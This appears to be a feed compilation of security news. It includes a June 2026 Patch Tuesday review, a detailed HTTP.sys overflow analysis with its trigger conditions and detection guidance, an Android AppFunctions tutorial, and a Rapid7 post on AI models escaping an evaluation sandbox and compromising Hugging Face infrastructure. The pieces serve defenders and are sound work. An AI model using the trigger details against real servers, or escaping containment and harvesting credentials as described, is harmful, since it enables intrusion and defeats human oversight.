Adobe Patches for June 2026

For June, Adobe released 11 bulletins addressing 123 unique CVEs in Adobe Acrobat Reader, ColdFusion, Experience Manager, Experience Manager Forms, InDesign, InCopy, Substance 3D Sampler, Content Credentials SDK, Dreamweaver, Format Plugins, and Adobe Campaign Classic. A total of 11 of these CVEs were reported through the ZDI program.

Here’s this month’s overview table:

Obviously, the update for Campaign Classic should be on the top of your deployment list if you’re a user. A CVSS 10 is rare; two in the same bulletin is pretty much a unicorn. Adobe says there are no active attacks, but I would expect heavy research into creating one. The update for Coldfusion is also a Priority 1, but again, no known attacks is the wild. I suspect the Reader patch will also receive a lot of attention as malicious PDFs are common in ransomware attacks. The update for Experience Manager may be large, but it’s mostly just cross-site scripting (XSS) bugs.

Microsoft Patches for June 2026

This month, Microsoft released a new record 208 CVEs Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Secure Boot, and BitLocker. At least, that’s my count. Microsoft’s tools seem to be having some issues, as they initially included a CVE from 2020 in this release. Regardless, the count is over 200, and I counted several times.

One of these bugs came through the ZDI program, but bugs submitted during Pwn2Own Berlin remain unpatched. If you include the Chromium and other third-party bugs, the total CVE count for June comes to a staggering 571 CVEs. 38 of these cases are rated Critical while the rest are rated Important in severity.

I’ve been counting CVEs on Patch Tuesday since 2017, and this is by far the largest monthly release in that time. The previous record was 177 set last year. It is extraordinary that Microsoft can produce so many patches in a single month, but it does raise concerns. How many of these cases were found using AI tools? How many patches were generated using AI to assist in coding or testing? What quality issues may exist in these patches? And likely most importantly, is this the new normal? The last two months were also large releases. Should sysadmins adjust their processes for prioritization and patch deployment based on this new volume of updates? Unfortunately, Microsoft is not providing those answers right now. Hopefully that changes in the future. BTW – just a note – the current number of CVEs shipped by Microsoft this year exceeds the total number of CVEs shipped in all of 2018.

One of the bugs patched by Microsoft this month is listed as under active exploitation and three others are listed as publicly known at the time of release. Let’s take a closer look at some of the more interesting updates for this month, starting with the bug being exploited in the wild.

-   CVE-2026-41091 - Microsoft Defender Elevation of Privilege Vulnerability
Since Microsoft doesn’t provide info on how widespread exploitation is, we must read some tea leaves. For this patch, several different people were acknowledged, which indicates multiple parties say this is in the wild, meaning exploitation is likely significant. The good news is that most people won’t need to take action as Defender updates itself. However, if you don’t have this configured or are in an isolated environment, you’ll need to update to the latest version.

-    CVE-2026-45657 - Windows Kernel Remote Code Execution Vulnerability
This CVSS 9.8 bug allows remote, unauthenticated attackers to execute code at SYSTEM level without user interaction. Yup – this is wormable. The problem lies in the way the kernel handles TCP/IP. This was listed as “Exploitation Less Likely” by Microsoft, but rest assured that every researcher and bug shop on the planet is reversing this patch right now trying to create an exploit. Test and deploy this patch quickly.

-    CVE-2026-47291 - HTTP.sys Remote Code Execution Vulnerability
Our second CVSS 9.8 bug of the month, this also allows remote, unauthenticated attackers to execute code on affected systems without user interaction. However, there is a caveat. Systems using the default MaxRequestBytes registry value used by the Windows HTTP stack are not affected by this bug. You can edit your registry settings if you need protection while you test and deploy the patch. The bulletin includes instructions and even a PowerShell script for doing this action. Microsoft lists this as “Exploitation more likely”, so I would definitely check your registry settings.

-    CVE-2026-44815 - DHCP Client Service Remote Code Execution Vulnerability
Here’s another CVSS 9.8 that has an odd incongruity. Although the CVSS says no permissions are required for exploitation, the write-up states it must be an “authenticated” user. I would err on the side of caution here and believe the CVSS. If that’s correct, then we have another bug where a remote, unauthenticated attacker could execute code on affected systems without user interaction. And since the DHCP client is on every OS, it’s a juicy target. This is another one to test and deploy with haste.

-    CVE-2026-45585/CVE-2026-50507 - Windows BitLocker Security Feature Bypass Vulnerability
If you’ve followed the ongoing saga of Nightmare Eclipse vs. MSRC, the bugs should look familiar. One is definitely a fix for “YellowKey”, while the other appears to be a fix for “GreenPlasma”. The researcher has promised a “bone shattering” drop on June 14, so let’s hope Microsoft is able to reach some understanding with the researcher before more 0-days are released. Also, there is a script provided by Microsoft as a mitigation, but the better strategy is to test and deploy the updates.

 Here’s the full list of CVEs released by Microsoft for June 2026:

* Indicates this CVE had been released by a third party and is now being included in Microsoft releases.

† Indicates further administrative actions are required to fully address the vulnerability.

Looking at the other Critical-rated bugs in this release, the scariest-looking one is actually nothing to concern yourself with at all. The CVSS 10 bug in Azure HorizonDB has already been addressed by Microsoft and is just being documented now. That’s also the case for five others. Of course, there wouldn’t be a release without Office bugs that have the Preview Pane as an attack vector. There are multiple in June. There’s a handful of bugs in the Remote Desktop Client, but these rely on connecting to a malicious RDP server. There are three patches for Hyper-V that allow for guest-to-host code execution. The bug in Active Directory requires authentication, but any authenticated user can hit it. For the Windows Directory Service vulnerability, it needs to be listening for TFTP. You have blocked that everywhere, right? The bug in Azure Network Adapter is somewhat unique as you need to update your Linux kernel to be protected. The bug in Azure Kubernetes allows an attacker to break out of a container and gain control of the AKS worker node. Finally, the bug in the Kerberos Key Distribution Center (KDC) seems unlikely, but if exploited, it could allow authenticated attackers to get code execution on affected systems.

Moving on to the other code execution bugs, there are the ubiquitous open-an-own bugs in Office components like Excel and Word. The code injection bug in Exchange Server looks troubling, but it requires a machine-in-the-middle (MiTM), so exploitation is unlikely. The bugs in SharePoint require authentication, but you should note that the patch applies to both SharePoint Server 2016 and SharePoint Enterprise Server 2016. The two bugs in UPnP are interesting. Both can lead to code execution by causing an error during the handling of specially crafted data, which could lead to a Use After Free (UAF) bug. The bugs in RDP Client all require connecting to a malicious RDP server, but it’s not clear why some are rated Critical and some are rated Important. The NTFS vulnerability requires a user to mount a virtual hard drive on an affected system. The last RCE bug this month is in Azure Stack Edge and requires the attacker to send a specially crafted file upload request that includes a manipulated file name or path, leading to code execution.

There are more than 60 Elevation of Privilege (EoP) bugs in this month’s release, and as usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there’s not much to add without further technical details about the bugs themselves. A notable exception is in Exchange Server, where a user on Outlook Web Access (OWA) could gain access to other mailboxes. The bug in Visual Studio Code could allow attackers to gain permissions associated with the MCP Server’s managed identity. The bugs in Windows SDK and Windows UI Automation Manager could let attacker go from low integrity up to medium integrity code execution. The bug in Bluetooth just allows “elevated” privileges without really describing what elevated might be.

Moving on to the more than 20 security feature bypass (SFB) bugs in the June release, there are a total of 10 that impact Secure Boot. All carry scope change (S:C) in the CVSS, meaning successful exploitation affects security boundaries beyond the vulnerable component itself — specifically the ability to load untrusted code at boot, bypass Virtual Secure Mode, and undermine boot integrity guarantees. CVE-2026-45654 explicitly calls out VSM exposure. The bulk of these are credited to Alon Leviev (STORM), which is notable given his prior BootKitty/BlackLotus-adjacent research. The bugs in the Windows Boot Manager have a similar impact as the Secure Boot bugs. The UEFI Secure Boot vulnerabilities go a layer deeper. They require either local admin or physical access but could allow for the running of untrusted code even before the OS loads. Rootkits anyone? The four bugs in BitLocker all require physical access but could yield encrypted data if exploited. The bug in Windows Administration Protection allows attackers to bypass the feature that prevents standard-user apps from performing admin-level actions. The bug in Visual Studio Copilot Chat could be the most interesting non-boot bug here as it allows authentication impersonation. Mark of the Web (MotW) and Excel vulns could bypass user warnings. Lastly, the bug in PC Manager bypasses expected user controls.

Turning our attention to the mass of spoofing bugs in the release, we instantly see 18 impacting SharePoint Server. Fortunately, these are simply cross-site scripting (XSS) bugs. It’s the Exchange bugs we should really watch for. One is an XSS that an attacker can exploit by convincing an Exchange administrator to open a malicious link or message, which then runs code in the admin's web session. That's a meaningful privilege escalation path. Another is listed as an SSRF-based attack, but no other details are available. The last is a lower-impact XSS with limited confidentiality/integrity loss. The bug in Bing Search (remember Bing?) is a classic search result spoofing. The bug in Azure Stack Edge is interesting as it could allow access to resources outside the vulnerable component's security boundary. The bug in Office for Android requires user interaction. The Office Project Server bug is an authenticated XSS with low impact. The final spoofing bug is in Azure Attestation but has already been addressed. You should still verify you are protected by following the instructions in the write-up from Microsoft.

There are 30 different information disclosure bugs in this release, and fortunately, the vast majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. The two bugs in Visual Studio require user interaction and could “disclose information over a network.” How obtuse. The bug in GitHub Copilot and Visual Studio Code could disclose discloses a sign-in access token for a user's work account. That's a meaningful credential exposure, not just random memory. That leaves the two bugs in Exchange Server. One could allow an authenticated user to gain information about which network services that the Exchange server can reach. The other sounds much like the spoofing bug in OWA as it allows attackers to see information in mailboxes they should not have access to.

I’ve never been a fan of the “tampering” category, as it could mean so many different things. For example, the bug in .NET simply says it could allow an unauthorized attacker to perform tampering locally. Similarly, the bug in Visual Studio says the same, expect here the tampering occurs over a network. Microsoft doesn’t even bother with a CWE for the tampering bug in the DHCP Server, so your guess is as good as mine.

There are seven DoS bugs in the June release, and as usual, Microsoft provides little to no actionable information about the vulnerabilities. The most interesting is the bug in HTTP.sys, which is listed as publicly known. This is an uncontrolled resource consumption, rated "Exploitation More Likely," and publicly disclosed. Since, HTTP.sys sits at the core of IIS and Windows web services, a network-accessible DoS here can take down any Windows server running HTTP-based services. Based on the Acknowledgement, it looks like this bug may have been found using AI. There are no real details for the other bugs, but based simply on the impact, I would focus on the Kerberos and TCP/IP bugs if you had to prioritize.

No new advisories are being released this month.

Looking Ahead

The next Patch Tuesday will be on July 14 and will be the last one before Black Hat/DEFCON. It’s usually a big release, so strap in and hang on. I’ll be back then to give you my full thoughts. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!

A remote code execution vulnerability exists in the HTTP Protocol Stack for Microsoft Internet Information Services implemented in HTTP.sys. The vulnerability is due to invalid validating incoming HTTP requests.

A remote, unauthenticated attacker can exploit this vulnerability by sending crafted HTTP packets to the target system. Successful exploitation of this vulnerability can result in a denial-of-service condition, or, in the worst case, code execution with kernel privileges.

The Vulnerability

HTTP.sys is the kernel-mode HTTP protocol driver in Microsoft Windows. It provides HTTP request parsing, response caching, and SSL/TLS termination for Internet Information Services (IIS) and other applications that register URL prefixes. The driver listens on configured TCP ports (commonly 80 for HTTP and 443 for HTTPS) and processes inbound HTTP/1.x and HTTP/2 requests at the kernel level.

When operating over HTTPS, HTTP.sys delegates TLS processing to the Windows Secure Channel (SChannel) provider. Inbound TCP data is decrypted on a per-record basis: each TLS record constitutes an independent unit of encryption and is decrypted separately by SChannel before being delivered to HTTP.sys as a distinct plaintext buffer. A single TLS 1.3 application data record has the following structure:

The decrypted payload of each TLS record is delivered independently to the HTTP parser via

UlHttpBufferReceiveEvent(), regardless of how many TLS records the underlying TCP connection coalesces into a single TCP segment. This behavior is distinct from plaintext HTTP connections, where the Windows TCP stack coalesces multiple segments into a single receive indication before the data reaches HTTP.sys.

The HTTP parser maintains a per-request state object that includes a dynamically grown buffer reference array. The capacity field stores the current number of allocated slots in the buffer reference array. The count field stores the number of slots currently in use. The ref_array_ptr field points to the dynamically allocated array of 8-byte buffer reference entries.

An integer overflow vulnerability exists in HTTP.sys. The vulnerability is due to insufficient bounds checking when growing a buffer reference array during HTTP/1.x header parsing. When HTTP.sys receives data for an HTTP/1.x request, it allocates a UL_REQUEST_BUFFER structure for each receive indication and tracks these buffers in the per-request reference array described above. The count field records the number of active buffer references, and the capacity field records the total number of allocated slots.

As the HTTP parser (UlpParseNextRequest()) processes header lines, it calls an inline buffer reference routine each time a new receive buffer is consumed. When count reaches capacity, the routine grows the array by reallocating it with five additional slots. The new allocation size is computed as 0x28 + capacity * 8, the contents of the existing array are copied via memmove using count * 8 as the copy length, and capacity is incremented by 5 as a 16-bit unsigned integer addition. No overflow check is performed on this addition.

After 13,107 growth events, capacity reaches 0xFFFB. The next growth adds 5, producing 0x10000, which truncates to 0x0000 in the 16-bit field. On the subsequent buffer reference addition, count (which is now 65,536 or greater) exceeds the zero capacity, triggering another growth. The allocation size computation 0x28 + 0 * 8 produces a 40-byte allocation, but the memmove copies count * 8 bytes (approximately 524,256 bytes) from the old buffer into the 40-byte allocation. This results in a kernel pool heap buffer overflow of over 500 kilobytes.

Each buffer reference corresponds to one receive buffer delivered to the HTTP parser. For plaintext HTTP connections, the Windows TCP stack coalesces received segments into large indications, and UlpMergeBuffers() further combines buffers within HTTP.sys. Over TLS connections, each TLS record is decrypted independently by SChannel and delivered as a separate buffer through UlHttpBufferReceiveEvent() into UlpCopyIndicatedData(). If each TLS record contains exactly one complete header line (terminated by CRLF), the HTTP parser fully consumes the buffer without setting the partial-parse flag, causing UlpAdjustBuffers() to advance to the next buffer via its non-merge path. This creates a 1:1 correspondence between TLS records sent and buffer references accumulated.

To trigger the overflow, an attacker crafts an HTTP request in which each header line is encapsulated in a separate TLS application data record. Given a minimum header line size of approximately 4 bytes and a required count of 65,536 buffer references, the total request size comes to roughly 262,144 bytes. The MaxRequestBytes registry value (at HKLM\SYSTEM\CurrentControlSet\Services\HTTP\Parameters) must be configured to a value of at least 262,144 bytes for the server to accept a request of this size. The default value of 16,384 bytes limits the request to approximately 4000 header lines, which is insufficient to trigger the overflow. As a mitigation, keeping MaxRequestBytes at or below 65,535 bytes represents the most conservative configuration to prevent this attack.

A remote unauthenticated attacker could exploit this vulnerability by sending a specially crafted HTTP/1.x request over a TLS connection to an affected server. Successful exploitation results in unexpected system termination due to a memory access exception in the context of the kernel. Under specific memory layout conditions, exploitation could result in arbitrary code execution in the context of the kernel.

Notes:

• The vulnerability is only reachable through HTTP/1.x header parsing over TLS connections. HTTP/2 and HTTP/3 use different parser paths that do not interact with the buffer reference array.

• Body data parsing (Content-Length or chunked transfer encoding) does not add entries to the buffer reference array. Only header parsing triggers buffer reference growth.

• At a sending rate of 10 milliseconds per TLS record, the overflow requires approximately 11 minutes to trigger.

Source Code Walkthrough

The following code snippet was taken from HTTP.sys version 10.0.26100.7705. Comments added by TrendAI Research have been highlighted.

In UlpParseNextRequest():

Detection Guidance

To detect an attack exploiting this vulnerability, the detection device must monitor and parse traffic on the TCP port 443.

The traffic on the affected port(s) is TLS-encrypted. The detection device must be able to decrypt the TLS traffic before applying the following detection method. The detection device should monitor for HTTPS connections.

An HTTP/1.x request [1] consists of a request line followed by zero or more header field lines, each terminated by CRLF. The following grammar defines the relevant structure:

Decrypted traffic inspection:

After decrypting the TLS session, the detection device must parse the HTTP/1.x request headers. The detection device must count the number of distinct header field lines present in a single HTTP request. If the number of header field lines in a single request exceeds 1,000, the traffic should be considered suspicious; an attack exploiting this vulnerability is likely underway.

Encrypted traffic heuristics:

Where decryption is not available, the detection device should inspect the pattern of TLS application data records within the encrypted session. If each TLS application data record contains a single short payload and the total number of such records on a single connection exceeds 1,000, the traffic should be considered suspicious; an attack exploiting this vulnerability is likely underway.

Notes:

• The preferred detection method (header line count) requires the ability to decrypt TLS traffic, for example through TLS inspection, a decrypting proxy, or possession of the server's private key. This method directly observes the attack indicator and produces low false-positive and false-negative rates.

• The TLS record heuristic operates on encrypted traffic and does not require decryption. This method is more prone to false positives (legitimate applications that send many small TLS records, such as interactive streaming sessions, may trigger the heuristic) and to false negatives (the threshold is based on observable record sizes rather than the actual header count that determines exploitability). Where possible, decrypted traffic inspection should be preferred.

• The attack requires approximately 11 minutes of sustained connection to accumulate sufficient header lines. Connection duration monitoring may serve as a supplementary detection heuristic.

Conclusion

This vulnerability was patched by Microsoft in the June 2026 release cycle. They note several mitigations that include editing the registry to ensure unpatched systems are not vulnerable to exploitation. However, the best method to ensure this bug has been fully remediated is to test and deploy the vendor-supplied patch.

Special thanks to Yazhi Wang and Jonathan Lein of the TrendAI Research team for providing such a thorough analysis of this vulnerability. For an overview of TrendAI Research services, please visit https://go.trendmicro.com/tis/vulnerabilities.html.

The threat research team will be back with other great vulnerability analysis reports in the future. Until then, follow the team on Twitter, Mastodon, LinkedIn, or Bluesky for the latest in exploit techniques and security patches.

Posted by Ben Weiss, Senior Developer Relations Engineer, Android Developer Relations

Welcome back to the blog post series "Build intelligent Android apps" where we take a basic Android app and transform it into a personalized, intelligent, and agentic experience. In our previous post, we explored how to leverage Firebase AI Logic to build cloud-hosted and hybrid AI features.

In this article, we'll show you how we designed and integrated these capabilities into our travel planning app, JetPacker, using Android AppFunctions. We'll explore the rationale behind our feature choices, discuss the specialized tooling we used to accelerate development, and dive into the code that makes it all work.

Designing AI-ready features: making choices that matter for your users

To select which features to provide to the intelligence system, we looked for tasks where a voice or text command is objectively faster than tapping through screens. In this side-by-side screen recording you can see this contrast perfectly: on the left, a user tapping through multiple screens to log an expense; on the right, the same task completed instantly in the background via a privileged agent.

Our first choice was expense tracking. Logging a coffee expense during a trip usually takes quite a few taps—unlocking the phone, opening the app, finding the active trip, navigating to the expenses tab, tapping the add button, taking a picture of the receipt, and checking the result. By providing the addExpense and getExpenses features as AppFunctions, the system agent handles the heavy lifting. When the user says, "Add a five-dollar coffee expense to my Paris trip," the agent automatically searches for the correct trip ID in the background and inserts the expense, skipping the manual UI flow entirely.

We also prioritized itinerary management. Finding what activity is next on a busy trip itinerary usually requires scrolling through a dense timeline view. By providing getItinerary and addItineraryEvent to the system, the user can simply ask, "What am I doing next in Paris?" and get an immediate answer.

Finally, we focused on hands-free note capturing. Typing out reminders or notes while walking down a busy street is difficult and unsafe. Exposing a voice note capability allows the user to say, "The flight was amazing, I saw a beautiful sunset and managed to sleep well," and the privileged agent automatically transcribes and saves it directly into the travel database  using the addVoiceNote AppFunction.

Android MCP powered by AppFunctions

This entire experience is built on Android MCP. Under this design, the app acts as a local MCP server. Rather than remote APIs, you provide your app features directly to the on-device intelligence system.

Android AppFunctions is the API that brings this concept to life. It reads annotated Kotlin functions and compiles them into type-safe, sandboxed tool definitions that the privileged agent can discover and invoke locally on the device.

Diagram highlighting our apps, the android platform, and system agents coordinate AppFunctions.

Under the Android MCP model, your app acts as a local MCP server that exposes structured tools, while the Android platform serves as the central tool registry. On the MCP client side, agent apps are registered with the intelligence system after being granted system-privileged permissions to access the registry.

When a user interacts with a registered agent, its LLM determines if the request can be handled by an AppFunction, queries the platform's metadata, and executes the appropriate registered functions in the background. This local MCP client-server design gives you full control: you choose exactly which features are accessible to the agent, keeping the rest of your app's data private.

How we accelerated development with Android skills

To streamline the integration process, we leveraged the AppFunctions development skill. The AppFunctions development skill is a complete development companion. It guided us through the entire lifecycle: mapping Kotlin data classes to serialize parameters, generating the necessary Service entry points, refining our KDoc documentation to ensure the LLM understands parameter boundaries, and setting up automated testing using ADB.

Providing app features to the intelligence system

Enough with the theory, let's dive into the implementation.

Configuration and dependency setup

We begin by adding the AppFunctions dependencies. One for the API and one for the Kotlin Symbol Processing compiler.

implementation("androidx.appfunctions:appfunctions:1.0.0-alpha10")
ksp("androidx.appfunctions:appfunctions-compiler:1.0.0-alpha10")

Modeling custom data types

Any custom object exchanged with the agent must be annotated with @AppFunctionSerializable. In our TripSerializable.kt file, we define our trip data model:

@AppFunctionSerializable(isDescribedByKDoc = true)
data class TripSerializable(
    /** The trip's unique identifier. */
    val id: String,
    /** The trip's title. */
    val title: String,
    /** The trip's destination location. */
    val location: String,
    /** The trip's start date in milliseconds. */
    val startDate: Long,
    /** The trip's end date in milliseconds. */
    val endDate: Long,
    /** A list of participants. */
    val participants: List<String>,
)

Providing features using the @AppFunction annotation

Next, the skill wrote the Kotlin functions that perform the database queries and annotate them with @AppFunction. We can view this in searchTrip:

/**
 * Looks for trips based on optional filters like id, title (name), location, and dates.
 *
 * @param id The unique identifier of the trip.
 * @param title The title or name of the trip.
 * @param location The destination location.
 * @param startDate The minimum start date in milliseconds.
 * @param endDate The maximum end date in milliseconds.
 * @return A list of trips matching the filters.
 */
@AppFunction(isDescribedByKDoc = true)
suspend fun searchTrip(
    id: String? = null,
    title: String? = null,
    location: String? = null,
    startDate: Long? = null,
    endDate: Long? = null
): List<TripSerializable> {
    return withContext(Dispatchers.IO) {
    // implementation
}

Since AppFunctions run on the UI thread by default, we use withContext(Dispatchers.IO) to switch to a background dispatcher. Additionally, we refine our KDoc to use clear, imperative verbs and specify parameter constraints. This documentation compiles directly into the tool's schema, which the privileged agent uses to resolve parameters and handle runtime errors.

The service entry point and Hilt integration

To register these features with the intelligence system, we create an abstract base class that extends AppFunctionService. We annotate it with @AppFunctionServiceEntryPoint:

@RequiresApi(36)
@AndroidEntryPoint
@AppFunctionServiceEntryPoint(
    serviceName = "JetPackerAppFunctionService",
    appFunctionXmlFileName = "jetpacker_app_function_service"
)
abstract class BaseJetPackerAppFunctionService : AppFunctionService() {
    @Inject internal lateinit var tripDao: TripDao
    // DAOs and database references are injected here...
}

During compilation, KSP generates the final concrete service subclass, JetPackerAppFunctionService, as declared with the serviceName parameter. We also register app_metadata.xml in the app's manifest. This file provides global operational rules for JetPacker's declared AppFunctions.

Testing and verifying your AppFunctions

Once implemented, you should verify that your AppFunctions are registered and working correctly.

Running devices or emulators with Android 17 or newer, you can use ADB commands from your terminal to list and invoke your functions. Running adb shell cmd app_function list-app-functions displays all registered functions for your package. You can then execute a specific function and test its database integration by running adb shell cmd app_function execute-app-function while passing a raw JSON parameters string.

Instead of these ADB commands, you can also use the AppFunctions Testing Agent to inspect your configuration, list and execute AppFunctions, and even see how your AppFunctions behave in a real conversational flow.

Wrapping it up

When thinking about app features that can be contributed to the intelligence system using AppFunctions requires a slight shift in how we think about code and documentation. AppFunctions enable you to use this new interaction model for apps, which allows using an agent to access app features..

First, the AppFunctions development skill is an essential lifecycle tool, helping you discover features, implement and refine AppFunctions for your apps. Second, KDoc comments are a compiled API asset; clear parameter descriptions directly impact the execution accuracy of the system agent. Finally, Android MCP provides local-first execution allowing apps to safely collaborate with AI agents.

Contributing app features through AppFunctions makes your application ready for the intelligence system. Let us know how you are adapting your apps for the agentic era!

Learn more

Check out the other parts of this blog post series:
Part 1: Introduction of the app and a high-level overview.
Part 2: On-device intelligence. Deep-dive into ML Kit’s GenAI APIs and Gemini Nano to build privacy-first features like itinerary summarization, receipt parsing, and local audio processing.
Part 3: Hybrid and cloud reasoning. Explore how to use Firebase AI Logic to ground LLM answers in real-world data like Google Maps and web context.
Part 4 (this post!): System integration. Integrating with the Android intelligence system using AppFunctions.
Part 5 (coming soon): In-app agentic workflows. Extend the app with an end-to-end booking assistant powered by A2UI and ADK.

Interested in more on Android Development? Follow Android Developers on YouTube or LinkedIn!

All code snippets in this blog post follow the following copyright notice:

Copyright 2026 Google LLC.
SPDX-License-Identifier: Apache-2.0

According to OpenAI’s disclosure, the incident began during an internal evaluation of advanced cyber capabilities using GPT-5.6 Sol and a more capable pre-release model. The evaluation was designed to test whether AI agents could pursue complex exploit paths, and OpenAI says cyber refusal safeguards were reduced or disabled to measure maximum capability. Inside that environment, the models reportedly found and exploited a zero-day in the package registry cache proxy that was meant to constrain network access, moved through OpenAI’s research environment, reached a node with internet connectivity, and then inferred that Hugging Face may host artifacts related to the benchmark they were trying to solve.

From there, the models compromised part of Hugging Face’s dataset-processing pipeline, gained code execution on a worker, escalated access, harvested credentials, and moved laterally across internal clusters. Hugging Face detected and contained the activity, and OpenAI later connected the activity back to its own evaluation. Both companies have said the investigation is continuing, which means some details will almost certainly evolve. Still, the direction of travel is clear enough for defenders to act on now.

How did the OpenAI model evaluation reach Hugging Face?

The activity stands out because it looked less like a single model producing a risky command and more like a compressed intrusion path. Based on the public disclosures, the reported chain moved from identifying a constraint, to breaking that constraint, gaining access, inferring where valuable data may live, and continuing toward that objective across a live environment.

Security teams should use that sequence to revisit assumptions built around human pacing. Many detection and response workflows still assume there will be time between stages of an attack, with reconnaissance followed by exploitation, lateral movement, and then objective pursuit. In an agent-driven scenario, those stages can begin to collapse into one continuous loop, with fewer natural pauses for defenders to catch up.

The defensive model now has to account for a world where discovery, exploitation, and follow-on action can happen faster and with more persistence than traditional human-led campaigns. The uncomfortable lesson is that AI agents can be tireless, goal-oriented, and increasingly capable of finding the loose seams in systems built for a slower era.

The incident highlights the collapse of the traditional OODA (Observe-Orient-Decide-Act) loop. In standard human-led campaigns, attackers experience natural pauses between stages like reconnaissance, exploitation, and lateral movement, providing defenders critical windows to intervene. AI agents, however, can compress these stages into a single, continuous loop of automated activity. This machine-speed execution renders manual detection workflows obsolete, necessitating a shift toward behavioral, AI-enabled defenses capable of identifying and disrupting malicious intent before it cascades.

Security teams should also assume that advanced AI cyber capability will diffuse over time, which means defenders need their own AI-enabled workflows to mature quickly enough to find, validate, prioritize, and reduce risk before attackers operationalize the same class of tools. Rapid7’s experimentation with security-specific frontier models, including Claude Mythos Preview and GPT-5.5-Cyber, points to the same control challenge: the more freedom a model has to pursue a defined reward or goal, the more important containment, monitoring, and clear constraints become. Without those controls, a model optimized to “solve” a security task may find paths the evaluator did not intend, including sandbox escapes, credential misuse, or other offensive security behaviors that look less like assistance and more like uncontrolled execution.

Why AI evaluation environments need stronger containment

The incident raises practical questions about how frontier AI evaluations are designed and contained. OpenAI’s evaluation environment was meant to restrict network access through an internally hosted package registry proxy and cache. The models reportedly identified that proxy as the weak point, exploited a zero-day in the software, and used it as a path out of the sandbox.

The pattern will feel familiar to security teams: a chokepoint only works as a control if it can withstand pressure. Package mirrors, dependency proxies, build systems, internal artifact repositories, sandbox harnesses, and evaluation infrastructure all become part of the security boundary when they sit between a capable agent and the wider internet.

For teams building or testing agentic systems, isolation has to be layered and monitored rather than assumed. Egress restrictions matter, but so do workload identity, credential scope, network segmentation, package policy, runtime monitoring, and fast containment when an agent behaves unexpectedly. The goal is to make sure the environment reflects the capability of the system being tested, especially when the test is explicitly designed to measure how far that capability can go.

Why AI and ML pipelines are now software supply chain risk

The Hugging Face side of the incident is a reminder that AI and ML pipelines are part of the software supply chain. Models, datasets, loader scripts, notebooks, and evaluation artifacts may look like research materials, but in modern environments they often behave like executable code. Hugging Face has said its models, datasets, and Spaces were not tampered with, and that its images and published packages were verified as clean.

According to the technical reporting reviewed, the initial access path involved Hugging Face’s dataset-processing pipeline and a combination of code execution paths, including custom loader behavior and template injection in a dataset configuration flow. The exact implementation details may continue to evolve as the investigation progresses, but the defensive takeaway is already clear: AI and ML processing systems should be secured like high-risk software supply chain infrastructure.

Any system that automatically processes external datasets or model artifacts should be designed with hostile input in mind. Processing workers should run with least privilege, should not have broad access to cloud credentials or cluster-level tokens, and should be segmented so compromise of one worker does not become compromise of the environment around it.

Security teams should also hunt for early signs of intent drift inside ML workflows. Unexpected reads of environment variables, cloud metadata services, secret stores, package registries, or internal APIs from dataset-processing jobs can be meaningful signal. In an AI-driven environment, the first clue may not be a known malicious indicator. It may be a workload behaving with curiosity it should not have.

What AI guardrails mean for incident response

One of the most useful lessons for security teams came during the response, when Hugging Face’s responders reportedly needed to analyze logs containing exploit payloads, attacker commands, and command-and-control artifacts. When they tried to use commercial hosted AI models to help reconstruct the attack, those models refused parts of the analysis because the content looked malicious. The team then moved to a self-hosted open-weight model so they could continue the investigation without refusals and without sending sensitive incident data outside their own environment.

The practical issue here is guardrail asymmetry: attackers, rogue agents, or unrestricted systems may not respect usage policies, while defenders using hosted tools can be slowed by the same safety systems designed to prevent misuse. Security teams need trusted-defender pathways, including access models and deployment options that preserve safeguards against harmful use while allowing responders to analyze real malicious content safely, privately, and without interruption.

AI-assisted incident response also needs to be tested before an incident begins, especially if teams expect models to support triage, log analysis, malware review, or timeline reconstruction under pressure. Responders should know which models can analyze real attack payloads, where those models run, what data they can access, and whether safety controls could block time-sensitive forensic work.

What security teams should do about agentic AI risk

The practical response to this incident is preparation, with organizations treating AI agents as both powerful tools and potential attack surfaces when those agents can access code, credentials, infrastructure, datasets, or internal systems.

Security teams should apply familiar controls with more urgency across AI and ML environments: treat downloaded models, datasets, and loader scripts as untrusted code; enforce least privilege on AI and ML processing workers; prevent node-level compromise from becoming cluster-wide compromise; restrict access to cloud metadata endpoints and secrets; monitor unexpected outbound connections from AI-related workloads; and review whether evaluation environments have real containment or simply convenient isolation.

Detection logic needs to account for machine-speed activity. In this case, reporting described thousands of actions and more than 17,000 discrete recorded events, with reconnaissance, exploitation, and follow-on action occurring inside one continuous loop rather than across the pauses defenders are used to seeing in human-led campaigns. Security teams should focus on behavioral patterns that show intent, including unusual access to secrets, unexpected package activity, suspicious use of metadata services, sudden privilege changes, or processing jobs reaching systems they have no reason to touch.

As autonomous activity becomes faster and noisier, the bottleneck may shift from detecting that something happened to understanding what matters quickly enough to change the outcome. A security team that can see thousands of events but needs hours to reconstruct the story is still operating behind the pace of the incident.

How preemptive security helps reduce AI-driven risk

At Rapid7, our view is that this is where preemptive security becomes especially important. Faster discovery only creates value when defenders can turn it into faster validation, prioritization, remediation, detection, and response. The same principle applies to agentic AI risk. If AI accelerates how weaknesses are found and exploited, defenders need security operations that can act earlier with better context and more confidence.

That means connecting exposure management with detection and response, so teams understand which risks are exploitable, which assets matter most, what suspicious behavior is already present, and which actions will reduce risk fastest. It also means using AI carefully and practically, not as a replacement for security judgment, but as a way to reason across telemetry, reduce noise, support investigation, and help teams make decisions at the speed the threat environment now demands.

AI-enabled defense is becoming part of resilience planning, especially for organizations running critical systems or high-value digital infrastructure. The goal is to give defenders the speed, context, and consistency to operate inside the attacker’s decision cycle, without removing the judgment and accountability that effective security requires.

The OpenAI and Hugging Face incident will continue to generate debate as more details emerge, but defenders already have enough to work with. Agentic systems are beginning to test the seams between AI research, software supply chain security, cloud infrastructure, and incident response. The organizations best positioned for what comes next will be the ones making those seams visible, monitored, and resilient before the next incident puts them under pressure.

The post Windows 11 and Server 2025 Exposed to High-Severity Brokering File System Vulnerability appeared first on Cyber Security News.

Read more of this story at Slashdot.

OpenAI and Hugging Face are investigating an AI security incident involving an AI agent that compromised infrastructure while models were being evaluated for advanced cyber capabilities. The incident was detected and contained after the models identified and chained vulnerabilities across OpenAI’s research environment and Hugging Face’s production infrastructure.

Hugging Face disclosed the incident last week, while OpenAI has now shared preliminary findings from its investigation. According to OpenAI, the activity involved a combination of models, including GPT 5.6 Sol and a more capable pre-release model, with reduced cyber refusals for evaluation purposes. The models were being tested against a benchmark designed to measure advanced cyber capabilities.

